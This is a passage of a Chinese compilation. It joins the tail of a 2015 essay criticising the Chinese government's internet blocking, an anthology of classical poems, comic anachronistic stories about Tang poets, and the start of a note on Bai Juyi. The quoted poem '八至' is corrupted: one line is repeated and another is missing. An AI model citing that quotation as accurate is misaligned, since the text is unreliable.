由此可以看出,明清两朝的闭关锁国,除了自然经济的经济背景,其目的都是为了防百姓,禁思想,说到底都是为了维持其统治地位而中共,在靠枪杆子非法夺取政权后,想的首先也是维持其一党专政的统治地位,因此也都需要防百姓,禁思想。于是闭关锁国就成了必然的继承。毛泽东这个土八路不会超过落第秀才洪秀全,坐井韶山而只见小农经济,满脑子是防备台湾的正统和西方以及“修正主义”(“反帝反修”)。只是那个时代还没有互联网,他禁止的还只是短波收音机收听国外“敌台”之类。邓小平接下毛的烂摊子,不得已引入市场经济和国外的先进技术(例如他对日本的新干线高铁赞美不已),挽中共崩溃于既倒。但他的“改革开放”不过是张之洞“中学为体西学为用”的东施效颦,根本上还是为了维持一党专政。只是他的时代,互联网还不普及于中国大陆,并且技术手段有限。于是,直到江胡时代,大陆民众基本上还能靠“翻墙”与官方斗智斗勇。如今,习氏当政,闭关锁国、防百姓禁思想之心怎会动摇,倒是技术手段小有进步(方滨兴之流的防火墙),于是不惜逆天屏蔽Google和VPN,其新闭关锁国,何止更上一层楼。真是看透了习近平!
恶果:从中国梦到黄粱梦
屏蔽互联网资讯的恶果有多大?一句话:明清时代的海禁比之真是小巫见大巫了。明清的闭关锁国,由于中国的虽然贫穷落后但却能自给自足的自然经济,基本上还不太影响国计民生。现在的新闭关锁国,足可以把大陆拖向无尽的黑暗和不归的死路。有一点可以证明:直到乾隆时代,中国还是毫无疑问的世界第一大国,GDP占世界三分之一。但二十一世纪的今天,“科学技术是第一生产力”,国家实力已经首先决定于科技的发达程度。但科学技术的发展,只能是继承前人的成果,此牛顿所谓“站在巨人的肩上”,才能有所开拓与创新。屏蔽互联网资讯,截断科研人员获取国外先进科技知识的途径,无异于自己削断这巨人之肩和自宫。如此,习近平之所谓“中国梦”,就只能是一枕黄粱梦了!落后未必挨打,自宫就只能坐等死亡。
当然,习氏真正追求的绝非复兴中华,那是说给老百姓听的。习氏追求的唯一一件事就是保党保政权,否则他作为“红二代”真是不孝有三亡党为大了。大陆不出诺奖,中共何足挂齿。然而,科技停滞,没有重大创新,军事上首先就受到限制,你习氏真能有底气逞强世界?没有重大创新,经济最终能上得去?就算经济总量第一,你能真正超过美日?经济一旦出大问题,中共的龙庭还坐得下去?至于痴心于通过新闭关锁国,阻挡普世价值在大陆的传播,恐怕习氏自己也不会相信。这些,习氏政权真的明白吗?只能由他们自己来回答了。
《动向》2015年3月号

几首意境美到心醉的古诗

一字诗 陈沆 清
一帆一江一渔舟,一个渔翁一钓钩。
一俯一仰一场笑,一江明月一江秋。

七绝
黄昏雨落一池秋,晚来风向万古愁。
不厌浮生唯是梦,缘求半世但无俦。
一颦一笑一伤悲,一生痴迷一世醉。
一磋一叹一轮回,一寸相思一寸灰。
功名万里赋予谁,去年秋江水,
醉卧不识今夜愁,哀筝惹泪落,谁劝我千杯?
往事难追战马肥,胡笳送君归,
修道心事无人猜,青云羡慕鸟,尊前图一醉。

一剪梅.舟过吴江(蒋捷)
一片春愁待酒浇,江上舟摇,楼上帘招。
秋娘渡与泰娘桥,风去飘飘,雨又潇潇。
何日归家洗客袍?银字笙调,心字香烧。
流光容易把人抛,红了樱桃,绿了芭蕉

青玉案.元夕(辛弃疾)
东风夜放花千树,更吹落,星如雨。宝马雕车香满路,
凤箫声动,玉壶光转,一夜鱼龙舞。
蛾儿雪柳黄金缕,笑语盈盈暗香去。众里寻他千百度,
蓦然回首,那人却在,灯火阑珊处

长相思(白居易)
汴水流,泗水流,流到瓜州古渡头,吴山点点愁。
思悠悠,恨悠悠,恨到归时方始休,月明人倚楼。

八至(唐 李治)
至近至远东西,至深至浅清溪。
至高至明日月,至深至浅清溪。

雁丘词(元好问)
问世间,情是何物,直教生死相许?天南地北双飞客,
老翅几回寒暑。欢乐趣,离别苦,就中更有痴儿女。君应有语,
渺万里层云,千山暮雪,只影向谁去。
横汾路,寂寞当年萧鼓,荒烟依旧平楚。招魂楚些何嗟及,
山鬼喑啼风雨。天也妒,未信于,莺儿燕子俱黄土。千秋万古。
为留待骚人,狂歌痛饮,来访雁丘处。

江城子(苏轼)
乙卯正月二十夜记梦
十年生死两茫茫,不思量,自难忘。千里孤坟,无处话凄凉。
纵使相逢应不识,尘满面,鬓如霜。
夜来幽梦忽还乡,小轩窗,正梳妆。相顾无言,惟有泪千行。
料得年年肠断处,明月夜,短松冈。

解连环 (周邦彦)
怨怀无托,嗟情人断绝,信音辽邈。
纵妙手、能解连环,似风散雨收,雾轻云薄。
燕子楼空,暗尘锁、一床弦索。
想移根换叶,尽是旧时,手种红药。
汀洲渐生杜若,料舟依岸曲,人在天角。
漫记得、当日音书,把闲语闲言,待总烧却。
水驿春回,望寄我、江南梅萼。
拚(pàn)今生、对花对酒,为伊泪落。

仓央嘉措
曾虑多情损梵行,入山又恐别倾城。
世间安得双全法,不负如来不负卿。

一剪梅 (唐寅)
雨打梨花深闭门。忘了青春,误了青春。
赏心乐事共谁论?花下销魂,月下销魂
愁聚眉峰尽日颦。千点啼痕,万点啼痕。
晓看天色暮看云。行也思君,坐也思君

秋风词 三五七言
秋风清,秋月明,
落叶聚还散,寒鸦栖复惊。
相亲相见知何日,此时此也难为情。
入我相思门,知我相思苦
长相思兮长相忆,短相思系无穷极。
早知如此绊人心,何如当初莫相识。

苏幕遮(周邦彦)
燎沉香,消溽暑。鸟雀呼晴,侵晓窥檐语。
叶上初阳干宿雨,水面清圆,一一风荷举。
故乡遥,何日去?家住吴门,久坐长安旅。
五月渔郎相忆否?小楫轻舟,梦如芙蓉浦。

苏幕遮(范仲淹)
碧云天,黄叶地,秋色连波,波上寒烟翠。
山映斜阳天接水,芳草无情,更在斜阳外。
黯乡魂,追旅思,夜夜除非,好梦留人睡。
明月高楼休独倚,酒入愁肠,化作相思雨。

系腰裙(张先)
惜霜蟾照夜云天,朦胧影画勾阑。
人情纵似长情月,算一年年。又能得、几回圆。
欲寄西江题叶字,流不到、五亭前。
东池始有新荷绿,尚小如钱。问何日藉,几时莲。

浪淘沙(李煜)
帘外雨潺潺,春意将阑。罗衾不耐五更寒。
梦里不知身是客,一晌贪欢。
独自莫凭栏,无限江山,别时容易见时难。
流水落花春去也,天上人间。

赠别(杜牧)
多情却似总无情,惟觉樽前笑不成。
蜡烛有心还惜别,替人垂泪到天明。

虞美人(蒋捷)
少年听雨歌楼上,红烛昏罗帐。
壮年听雨客舟中,江阔云低断雁叫西风。
而今听雨僧楼下,鬓已星星也。
悲欢离合总无情,一任阶前点滴到天明

钗头凤(陆游)
红酥手,黄藤酒,满园春色宫墙柳,
东风恶,欢情薄,一杯愁绪,几年离索,
错,错,错
春如旧,人空瘦,泪痕红悒鲛绡透,
桃花落,闲池阁,山盟虽在,锦书难托,
莫,莫,莫
钗头凤(唐婉)
世情薄,人情恶,雨送黄昏花易落。
晓风干,泪痕残,遇见心事,独语栏杆,
难,难,难
人成各,今非昨,病魂常似秋千索。
角声寒,夜阑珊,怕人询问,咽泪装欢,
瞒,瞒,瞒

拜服吧,关于唐诗的那些猛人猛事

一。
话说在唐代,有一些地方,是诗人们PK谁更猛的地方,就好像武林中的华山。
当时,在山西蒲州有一个楼,叫做鹳雀楼,一共三层,挺壮观。
沈括在《梦溪笔谈》里说,唐代很多诗人都一窝蜂跑到鹳雀楼去写诗。他们互相PK,看谁最猛。
要知道,唐代是什么时代?是诗人一个比一个猛的时代,没有一点底气是不敢乱写的,估计宋江之流到了鹳雀楼,也不好意思把“敢笑黄巢不丈夫”之类的打油诗写上墙去。不像现在,阿猫阿狗都敢留个“某某某到此一游”。
这一年,鹳雀楼来了一个大猛人,名叫李益。
没听说过不要紧,记住他是唐代诗坛的一个大猛人就行了。
读了其它诗人的作品后,李益冷笑一声,挥毫泼墨,留下了八句:
“鹳雀楼西百尺樯,汀洲云树共茫茫。汉家箫鼓空流水,魏国山河半夕阳。事去千年恨犹速,愁来一日即为长。风烟并是思归望,远目非春亦自伤。”
看着那挥洒淋漓的墨渍,李益嘴边浮现了微笑。他知道,这首诗会流芳千古。
果然,这首诗被人们争相传诵:猛,真猛!
然而,它居然没有成为鹳雀楼上最猛的诗,甚至连第二猛的都排不上。这不怪李益,要怪只怪唐代的猛人实在太多了。
又一个猛人来到了鹳雀楼。他叫畅当。
他读了李益的诗,却只淡淡一笑。八句?七言?有必要吗?畅当挥毫泼墨,写下了一首诗,只有四句:
“迥临飞鸟上,高出世尘间。天势围平野,河流入断山。”
绝了。简直绝了。
这首诗,不但被认为压过了李益那首,更是让成百上千写鹳雀楼的猛人们没了脾气。
这叫其它的诗人还怎么写?还能写得比这景色更壮阔吗?还能比这心胸更宏大吗?
能!这是唐代,没有什么不能发生。
还有一个更猛的人飘然而来,登上了鹳雀楼。让我们记住他的名字——王之涣。
顺便说一句,这个猛人在《全唐诗》里只留下了六首诗,其它的都散佚了。关于他的资料很少很少。
王猛人登上了鹳雀楼。这里已经来过很多诗人,留下了无数名篇。它们都才华熠熠,猛气十足,犹如铜墙铁壁,封住了他的出路。
他必须再辟蹊径,再升逼格!
然而,猛人就是猛人。眺望着眼前的苍茫落日、滚滚黄河,王之涣拿起笔来,写下了四句:
“白日依山尽,黄河入海流。欲穷千里目,更上一层楼。”
这就是大唐的气象,是大唐一代猛人的胸襟。
由于这首诗太猛了,以至于一千多年后的今天,小孩子启蒙学唐诗,往往第一个就要学这一首。
二、
王之涣先生也交了一些猛人朋友,其中最猛的有两个,一个是绝句猛人王昌龄,一个是边塞猛人高适。
猛人之间是互相不服气的。他们找各种机会PK,看谁最猛。
王昌龄可不是一般人。李白的七言绝句恐怖吧?想想“朝辞白帝彩云间”“故人西辞黄鹤楼”就知道了。但是王昌龄的七言绝句恨不得比李白还猛。“七言绝句,古今推李白、王昌龄”“天生太白、王昌龄以主绝句之席”。
高适,也是个大猛人。岑参的边塞诗恐怖吧?想想“忽如一夜春风来,千树万树梨花开”就知道了。但是高适的边塞诗恨不得比岑参还猛。别告诉我你没听过“战士军前半死生,美人帐下犹歌舞”。大猛人杜甫是怎么评价高适的?“独步诗名在”!
可想而知,要pk掉这两个猛人,让他们彻底服气认怂,多不容易。
但是我们的一代猛人王之涣做到了。
这一天,下着小雪,三个猛人跑到一起吃酒。忽然酒楼上来了几个美丽的梨园女子奏乐唱曲,唱的是当时最流行的诗,相当于现在的流行歌曲。
绝句猛人王昌龄主动挑起了pk。
他说,我们三个都很猛,但到底谁最猛呢?不如今天比一比,这些美女唱我们谁的诗最多,谁就最猛。
另外两个都没有意见。于是,一段千古佳话就此开场。
一个歌女首先唱:“寒雨连江夜入吴,平明送客楚山孤。洛阳亲友如相问,一片冰心在玉壶。”
王昌龄微笑起来,伸出中指(我猜的,其实我不知道他伸的是哪根手指)在墙壁上画了一道:“我一首了。”
又一个歌女唱道:“开箧泪沾臆,见君前日书。夜台何寂寞,犹是子云居。”
高适也伸出中指画墙壁:“我也一首了。”
王之涣只是浅笑着,虽然落后,但并不慌张。
又一歌女开口唱了,又是王昌龄的一首绝句。王昌龄得意洋洋起来,提醒王之涣:“喂,我已经两首了。”
这时,一直很安静的王之涣终于表态了。他说,刚才这些歌女档次不高,她们唱的曲子怎么能算呢?
他伸手指向最美丽的一个歌女,微笑着说:“如果她唱的不是我的诗,我就承认自己是撸瑟;如果她唱了我的诗,那你们就拜在我座下,拜我当老大吧。”
终于,轮到这个最美丽的女子唱了。
只听她唱的是:“黄河远上白云间,一片孤城万仞山,羌笛何须怨杨柳,春风不度玉门关。”
寂静。死一般的寂静。
王之涣回过头来,微笑着看着王昌龄和高适。这首诗正是他的不朽名篇《凉州词》。
我们不知道,王昌龄和高适有没有当场下拜认老大。
但我们知道,后来的文艺批评家们争论哪首绝句是唐朝第一猛,费了很多口水。
明朝的文坛霸主李攀龙说,要数王昌龄的“秦时明月汉时关”最猛;
继任的霸主王世贞说,是王翰的“葡萄美酒夜光杯”最猛;
但清代的大才子王渔洋不服。他抱来了四个重磅炸弹,说每一颗都可以把你们的那些“最猛”炸了。
这其中,第一颗是王维的“渭城朝雨浥轻尘”;第二颗是李白的“朝辞白帝彩云间”;第三颗是王昌龄的“奉帚平明金殿开”;而第四颗,就是王之涣的“黄河远上白云间”。
是的,王之涣只留给我们六首诗。
但已经足够了。
我们不能要求更多了。
三、
接下来出场的大猛人,叫王勃。
又是姓王的。
那一年,洪州都督阎伯屿坐镇南昌,新修了一个楼,装潢极其豪华。那时候也没有什么八项规定,阎都督大张旗鼓请客吃饭,招待宾客。
当时干部吃饭也要讲格调,不能搞海天盛宴,而是要请一些有文化的人来镇场子。有一个年轻人被邀请了,他就是王勃。
顺便说一声,王勃是初唐大名鼎鼎的“四杰”之一,其当时的江湖地位,相当于东邪西毒南帝北丐。
关于四杰的排名顺序,争论很多,有人说是王、杨、卢、骆;有人说应该是王、骆、卢、杨。但不管怎样,一千多年来,没有任何一个批评家敢不把王勃排第一;再过一千年也不会有。
他那一句“海内存知己、天涯若比邻”,就足够砸死唐朝好多猛人。
话说阎都督请吃饭的时候,号召大家以自己的新楼房为题写作文。
他真是想搞作文比赛吗?错了,他是想借机会夸耀自己女婿吴子章的才学。他事先已准备好了一篇作文,打算在席间让女婿拿出来,把大家镇住,就跟贾政在大观园里让贾宝玉题写对额的意思差不多。
在座的客人又不是傻子,不敢抢女婿的风头,都推辞不写。
女婿得意洋洋,正准备把已在胳肢窝里捂热了的作文掏出来,忽然,二十多岁的王勃站了起来:“我写。”
阎都督当然很不高兴,拂袖而去。
坐在帐后,他越想越气,忍不住叫手下去看看那个小子写了什么。
不一会儿,手下来报告:“他的开头是‘豫章故郡,洪都新府’!”
都督嗤之以鼻:“不过是老生常谈嘛”。
一会儿,手下又来报告:他写了“星分翼轸,地接衡庐”!
都督沉吟了,他感觉大事不好,自己的女婿要糟。
随着一句又一句传到都督耳朵里,都督的脸已涨成猪肝色。
终于手下又跑来报告了:“他写了‘落霞与孤鹜齐飞,秋水共长天一色’!”
都督终于崩溃了。“天才,天才啊!”
阎都督的这座楼房,叫做滕王阁。王勃的这篇作文,就叫做《滕王阁序》。
女婿被王勃抢了风头,无比愤怒。他指责王勃的作文是抄袭自己的。
为了证明自己是原创,他凭借过目不忘的特异功能,把王勃的作文流利地背了出来。
背完之后,他冷笑着盯着王勃。客人们也窃窃私语,怀疑王勃抄袭。
王勃不慌不忙地问女婿:“吴兄记性真好,佩服!佩服!不过我的作文末尾还有一首序诗,你知道吗?”
女婿傻眼了:还有诗?什么诗?
于是王勃起身挥毫,文不加点,写下一首序诗:
“滕王高阁临江渚,佩玉鸣鸾罢歌舞;画栋朝飞南浦云,珠帘暮卷西山雨;闲云潭影日悠悠,物换星移几度秋;阁中帝子今何在,槛外长江空自流!”
又是寂静。死一般地寂静。
女婿羞愧地退下了。他终于知道,自己今天面对的绝不只是尘世中一个迷途小书童。
王勃只活了二十六岁。在一次南下去看他父亲的时候,渡海溺水,受到了惊吓,挂了。
我们不知道,如果他活到六十二岁,会猛到什么程度。可能是他猛得老天爷也看不下去了,怕以后的文学史没法写了,让他挂掉算了。
四、
诗也是有套路的。写着写着,猛人们就逐渐发现了一些创作的套路。
比如,想成为唐代最猛的诗,最后一句就要用否定的结尾。
朱自清说,八首最猛的唐诗绝句,它们的结尾全部是否定式的:
“西出阳关无故人”“不教胡马度阴山”“两岸猿声啼不住”“玉颜不及寒鸦色”“醉卧沙场君莫笑”“春风不度玉门关”“不知何处吹芦管”“商女不知亡国恨”。
难道这种套路就不能打破吗?
能。
这一年,一个孤独的诗人来到了苏州。他叫张继。
他的名气不大,和之前王勃、王之涣、王昌龄、王维、李白、高适、李益等猛人比,他只算是个小诗人。历史也没有详细地记录下他的生平。
我们只知道,他一生不太得志,快50岁才有了正经职位,长期在外漂泊。那一个夜晚,在苏州,他很想家。
大雾弥漫的晚上,他睡在船舱里,思想着故乡和前程,辗转反侧。
不知道是什么魔力,让这个一直好像并不太猛的诗人小宇宙爆发,写出了一首超级猛的千古名诗:
“月落乌啼霜满天,江枫渔火对愁眠,姑苏城外寒山寺,夜半钟声到客船。”
清代的蘅塘退士编了那本著名的《唐诗三百首》,只选了张继同学的一首诗。
他只能选一首,因为张继流传后世的诗本来就很少,也都不太猛;但他也不敢不选这一首,不然他的《唐诗三百首》要被骂死。
有不少人坚持说,这首诗是唐代第一名。
就是这一首诗,让毛宁哥哥唱了又唱,余秋雨伯伯含泪赞了又赞。
写完这一首之后,我不知道张继是否喷出一升鲜血,大叫一声,毕生功力散尽,倒在船舱中;就好像王真人竭尽全力发了一招一阳指,破了蛤蟆功,然后倒栽葱倒了下去。
倒下去的时候,他应该是微笑着的:
我作为一个小诗人,却写出了诗歌史上最伟大的作品。
谁说结尾要用否定句,才能写出猛诗?
人,一辈子有这一次巅峰体验,足矣。

盛唐,那个伟大的诗人朋友圈

一、
公元719年,大唐开元七年,是一个平静的年头。
这一年里,唯一值得一记的事,似乎就是五月发生了一次日食。在一番象征性的厉行节约之后,皇帝唐玄宗百无聊赖,在朋友圈里刷了条微信——“今年无事”。
要真是无事才怪。
其实,在这一年的诗歌圈子里,发生了许多日后会震动天下的大事。
在广西,有一个官宦人家的女孩儿出生了,后来叫做杨玉环。
在湖南,有一座壮观的大楼修好了,主持工程的是大文豪张说,这座大楼后来定名岳阳楼。
在河南,一个七岁的孩子开始尝试作诗,他的作文题目是凤凰,他叫做杜甫……
当然,此刻的诗歌江湖上,还轮不到杜甫亮相。
就在他咿咿呀呀念诗的时候,一个白衣飘飘的少年走来了。他摸了摸杜甫的头:
“你还小,先不忙出场。这诗的盛世,且先让我来开启吧。”
二、
白衣少年打开了手机。在朋友圈里,许多诗人都在七嘴八舌,热烈讨论着未来。
一个叫王昌龄的京兆人说:我要高考。
一个叫孟浩然的湖北人说:我要异地高考。
一个叫李白的安西人傲然一笑,说:我要保送。
白衣少年淡淡一笑,留了个言:我要选秀。
在众人惊讶的目光中,少年昂首出发了,目的地是长安。他随身带着心爱的吉他——对不起,是琵琶。在当时,琵琶就相当于今天的吉他。
那时长安娱乐圈竞争很激烈,最红的一个新人叫做张九皋,此人不但有才,而且很有后台,他亲哥哥叫做张九龄,是大唐诗歌俱乐部常务副主席。
更要命的是,他还得到了当时大唐文艺女青年俱乐部名誉主席——玉真公主的青睐,已经内定了要当选秀冠军。
然而,我们的白衣少年毫不畏惧。他提着吉他——啊不,是琵琶,傲然走上了舞台,开始演奏。
要知道,那时候的琵琶只有四个音位,远远没有现在表现力强,但那又怎样呢?有才,就是任性。
少年的这一首摇滚琵琶曲,就是千古名曲《郁轮袍》。听名字都很ROCK。
一曲奏罢,全场掌声雷动,台下的导师玉真公主更是激动得站了起来:
“小鲜……啊不,小伙子,除了吉他,你还有别的什么才艺吗?”
“我还会写诗。”
公主不禁动容。要知道,那时候可是唐朝,当时所谓的“会写诗”,和现在完全不是一个概念。
“那我就考考你。不要让我失望哦。”
公主当场给他出了一道题:“十秒之内写一首诗,必须要有爱情、有暖男、有季节、有地理、有植物”。
我们的白衣少年脱口而出:
“红豆生南国,春来发几枝,愿君多采撷,此物最相思。”
玉真公主泪流满面。她说出了改变少年一生命运的话:“I want you!”

旁边的导师——大唐诗歌俱乐部主席张说先生小声提醒:“……之前您要内定的冠军张九皋呢?”
公主满脸无辜:“张九皋是谁?”
这个白衣少年,叫做王维。
顺便说一句,那个被他黑掉的才子张九皋,后来虽然也当了大官,但在文坛上一辈子都没抬起头来。
直到很多年以后,张九皋的第N代重孙子里才终于出了一个猛人,拿到了“大元好声音”的冠军,算是给先人争了口气。这位孙子的代表作你一定听过,就是那首“峰峦如聚、波涛如怒”,他的名字叫张养浩。
三、
当王维在帝都大红大紫时候,一个叫李白的同龄人还在外地东游西逛、不务正业,玩剑、玩神仙术、玩纵横术,什么都玩。
选秀算什么?我,是要保送的。
这一年,李白游逛到了襄阳,认识了当地大名鼎鼎的一个猛人——不是郭靖,是孟浩然。
两人差了12岁,但一见如故。一说到孟浩然,我们总想到淡泊、宁静,不过当时的孟浩然并不是这样。他有心事。
这天,两人对坐喝酒,孟浩然闷声不响地连干了几杯,忽然说:“兄弟,听说了么,连王昌龄都考上了。”
“就是‘秦时明月汉时关’那个?才听说,怎么?”
“唉,之前王维考上了,我不说啥,谁让这小白脸长得帅。但人家王昌龄都考上了!”孟浩然叹息说,“他是个苦哈哈出身,小时候种过地,还复读过。和人家比,我再怎么也算是个书香门第啊……”
他看着李白,目光充满热切:“兄弟,我也想试一试,去趟长安。我觉得自己有戏。”
李白举杯祝福:“大哥,你一定行的。”
两人依依惜别。青年李白满怀惆怅,为兄长孟浩然送行。请记住这次送别的时间和地点——开元十六年三月,黄鹤楼,因为那一首绝美无匹的《黄鹤楼送孟浩然之广陵》
那年冬天,孟浩然带着一颗雄心,向长安进发了。
飞舞的雪花中,他形单影只,但却踌躇满志,长吟道:“洛川方罢雪,嵩嶂有残云”,诗中充满自信。
到了长安已是早春。考完后他感觉不错,更觉得大有希望。发布成绩那天,孟浩然兴冲冲跑到网吧,登录官网去查成绩。
网速很慢。他刷了又刷,成绩终于出来了——400分,落第。
也不知道他为什么考不上。那些年头里,前前后后有多少诗人及第啊,王昌龄、崔颢、储光羲、刘长卿、颜真卿、李颀……但这个长长的名单里,容不下孟浩然
愤懑,痛苦,失望……孟浩然滞留在苦雨的京城,觉得没脸面回家乡。他在这段日子里写的诗,总让我不忍卒读。
唯一的安慰,来自于王维。实在苦闷的时候,孟浩然就拉王维喝酒。
顺便说一句,两人当时大概还预料不到他们未来竟会齐名,被并尊为“王孟”。要知道,当时和王维齐名的可是崔颢,就是那个写出“昔人已乘黄鹤去”的家伙。
王维安慰孟浩然:“放宽心回家吧,去痛饮田家的酒,去读些有趣的书,何必为功名所困呢!”
孟浩然淡淡一笑,把杯中酒一饮而尽,给王维留下了一首诗,作为最后的告别:
“当权者谁肯真正提携我?
知音在这世间实在稀微。
我应该独守着这份寂寞,
关上柴门与这人世隔离。”
吟罢,他仰天长笑,放下酒杯,飘然而去。自此,大唐少了一个官僚,多了一个伟大的隐士。
只留下王维喃喃自语:“靠,又是我埋单……”
四、
孟浩然飘然远去了。在朋友圈的另一边,李白的活动越发频繁。
为了顺利保送,他结交了五花八门的朋友,有前辈大腕贺知章,有当朝权贵玉真公主、崔宗之、韩朝宗,还有一些搞不清楚来历的怪人,比如一位号称是“相门之子”的岑勋,以及一个神神叨叨的隐士元丹丘。
顺带说一句,这两人可大大沾了李白的光。他俩生前籍籍无名,却因为后来稀里糊涂地被李白写了一笔,从此名留千古、妇孺皆知——“岑夫子,丹丘生,将进酒,杯莫停”。
天宝元年秋,在朋友们的炒作下,李白保送成功,被唐玄宗召唤入京,供奉翰林,终于参加文艺座谈会了。
他一度受到超高规格的待遇。据说皇帝“御手调羹以饭之”,几乎要亲自给他喂饭——要知道,目前我还没见任何资料证明唐玄宗给杨贵妃喂过饭。
李白十分开心,写了不少诗炫耀,甚至还念念不忘地冲着一个女人发牢骚:“绿茶啊绿茶,你过去嫌弃我,现在我牛叉了,你后悔了吧?”
据说这个女人是他的第二任妻子,姓刘。李白曾说她“淫昏”,看来诗仙也曾有过一段被深深刺伤的感情。
然而,缺乏体制内工作经验的文人,突然进了中央机关,根本呆不下去。李白也一样。在权贵们的谗言下,他很快被玄宗嫌弃了,被买断工龄,遭到了体面的解雇。
且慢为他伤心——这一年他虽然失业,却收获了两样更珍贵的东西:友谊和爱情。
他遇到了一位姓宗的姑娘,有了第三次婚姻。两人后来患难相依,成就了一段不错的姻缘。
此外,他的微信朋友圈里还多了两个人——杜甫和高适。
这三个大龄青年相遇时,混得都不太好。李白刚刚下岗;杜甫还在苦苦找门路求职;高适虽然出身于大名鼎鼎的“渤海高氏”,早年却种过庄稼,没少吃苦,后来高考又落榜,到四十岁仍然没个着落,是标准的“四零五零人员”。
在他们的朋友圈里,王维还能时不时刷个屏,给名声臭大街的宰相李林甫写写马屁诗,而李白、杜甫、高适三个层次实在太低,压根就够不着李林甫,想给人家点赞都不好意思。
这三个无业老男孩,在大梁、宋中一带痛饮狂歌,骑马打猎,“醉舞梁园夜,行歌泗水春”。
如果没有今后发生的事,这将是多么完美的一段友谊。
五、
光阴似箭。渐渐地,在盛唐诗人的朋友圈里,一些年长的大V纷纷故去了。
张说去了,张九龄去了,贺知章去了,孟浩然去了。他们留下了伟大的“海上生明月”“春风似剪刀”“波撼岳阳城”,永远离开了我们。
755年,安史之乱爆发,叛军从东北滚滚而来。大唐,再也没有了田园诗的时代。
动荡之中,朝廷分裂成了好几个政治集团。几个诗人也被战争和时局的巨浪抛到四面八方。
他们分道扬镳了:高适投奔了老皇帝玄宗,杜甫投奔了新皇帝肃宗,李白投奔了永王李璘,王维则被迫加入伪军,变成了“唐奸”
当时叛军正到处抓人。他们先抓住了一个,喝问:“你叫什么?”
“报告长官……我叫杜甫……”
“呸!是个屌丝。滚吧!”
杜甫就这样跑了。他一路狂奔到新唐肃宗面前,蓬头垢面,破鞋洞里露着脚丫子,活像个乱抄六神磊磊稿子不署名的垃圾号小编,让人心酸。
年轻的皇帝一看他这凄惨样儿,大为感动:惨成这样都来投奔我啊?忠诚!立刻封了他一个官儿——左拾遗。
话说叛军继续抓人,很快又抓到一个:“站住!你叫什么?”
“报告长官,我叫王维……”
“哟呵!大官儿!大诗人!别让他跑了!”
放跑了杜甫的叛军,把王维当宝贝,逼着他当官。无奈之下,王维只好当了个叛军的“给事中”。这也难怪,人家宰相陈希烈都当了伪军的中书令呢。
这时候的李白本该是最幸福的一个,好端端在庐山隐居,没事游个仙人洞什么的就完了。但他偏偏他是个热血老男孩,不愿辜负了这个时代,一心想杀敌报国。
恰巧庐山接近另一个政治集团——永王李璘的势力范围。李璘拉起了一支部队,正想搞创业上市呢,几次派人来庐山猎头,邀李白加入团队。
李白以为杀敌报国的机会到了,豪情满怀,高调宣布加盟。你加盟也就算了,还一口气白纸黑字地写了十首《永王东巡歌》。
然后……他们一起打败了叛军?错。正确答案是,李璘马上就被亲哥哥唐肃宗李亨给灭掉了。
大唐公司只有一家,你李璘搞什么创业,闹什么上市?
更讽刺的是,代表朝廷来攻打李白的老板的那位大人物、新上任的淮南节度使,居然是老朋友——高适。(高适是唐朝的所有诗人里面,官阶最高的一位)
六、
几年不见,高适发达了。靠着在政治上的敏锐眼光,他一路升官,做到了正大军区级的节度使
在崩溃的永王队伍中,李白显得非常刺眼。谁让你是大文豪来着?诗仙变成了反动文人的代表,进监狱等着杀头吧你。
李白的处境,竟然比当了“唐奸”的王维还惨。王维本来是很可能要被枪决的,谁想他急中生智,大喊一声:“冤枉啊!我是身在曹营心在汉啊!”
“证据呢?”皇帝唐肃宗板着脸问。
王维变魔术一样从兜里摸出一张发黄的纸来,上面有两句旧诗,非说是自己当“唐奸”的时候偷偷写的。
这两句诗是:“万户伤心生野烟,百官何日再朝天?”您瞧,我虽然当了“唐奸”,但心里还是向着您的啊!
肃宗反复读了几遍,气儿顿时消了:“讨厌,不早说。”
就这样,投靠敌人的王维平稳过关,而投靠
唐肃宗的亲弟弟的李白则要坐牢甚至杀头。
难怪在那首著名的《上留田行》里,李白感叹说:“尺布之谣,塞耳不能听。”
什么叫“尺布之谣”?那是汉朝的一首歌谣:“一尺布,尚可缝;一斗粟,尚可舂。兄弟二人不能相容。”
监狱中的李白,备受折磨,痛苦不堪。
他想起了老朋友高适,写信向他求救。这首泣血的求援诗,叫做《送张秀才遏高中丞》。
在这首诗里,李白豁出去了。他大大赞颂高适的功绩,把他夸成是一个安邦定国、经天纬地的英雄,最后含蓄地提醒高适:我们曾经是朋友。
信的结果是石沉大海。
李白最后没被杀头,被判了个永远流放。高适自始至终一声也没出

过去的那个老男孩高适已经远去,如今的他是一个成熟老练的政治家。对于李白这个永远别想翻身的反动文人,他作出了理智的选择
七、
和李白不同,此时的杜甫度过了人生中最体面、最美好的一段时光。
他和王维、岑参等一殿为臣,有了一个共同的小圈子。大家经常写诗,刷朋友圈,互相点赞。
特别是那一次关于“早朝大明宫”的著名唱和,把小圈子的快乐氛围推向了高潮。如果你找出这几首诗一对比就能发现,王维的诗大开大阖,虽然是为别人捧场,但洋溢着自信。而杜甫作为新加入圈子的成员,他的诗明显多了几分小心,着意恭维。
这个其乐融融的小圈子,是盛唐诗人朋友圈最后的回光返照。自此之后,他们再也没有过这样愉快的相聚了。
很快地,圈子里的骨干成员杜甫、贾至、严武等接连得罪皇帝,被贬,朋友星散,杜甫也日渐穷困潦倒。
一般人都关注杜甫晚年的贫困,其实在精神上,他承受的痛苦更重、更深。
在生命的最后几年,他不断接到一个又一个朋友的死讯:
761年王维离世;762年李白故去;763年,和他交情深厚的房琯辞世;764年轮到了画家郑虔和诗人苏源明,而后者甚至是饿死的;接着死去的是好朋友高适、严武、韦之晋……
他想念朋友们,用颤抖的手,写下了心中的悲伤:
“郑公粉绘随长夜,曹霸丹青已白头。天下何曾有山水,人间不解重骅骝。”
这诗貌似是写给画家郑虔的,但又何尝不是对所有凋零的朋友们的哀哀挽歌。
770年,在飘荡于湘江的一叶小舟上,杜甫又收到了老友岑参故去的消息。他闭上双眼,任由泪水流淌。在手机的朋友圈里,唯有他自己的头像还亮着了
是年冬天,孤独的杜甫在洞庭湖的舟上死去了,终年59岁。

盛唐诗人的朋友圈,至此终于彻底停止了更新。

白居易和他的好朋友们 之间的唱和

白居易《琵琶行》
近日试图读白诗,被满目的唱和作惊讶到了。白居易据说是存诗最多的唐代诗人,其中很多唱和诗。
唱和当然是要对象,白居易的好朋(基)友中,最著名的两个,首先当然是元稹了,其二是刘禹锡。
白居易和元稹是同科及第,共同倡导新乐府运动,又是终身诗友。二人之间因为互相酬答太多,情感太切,常有人把他们一起研究(YY。。)
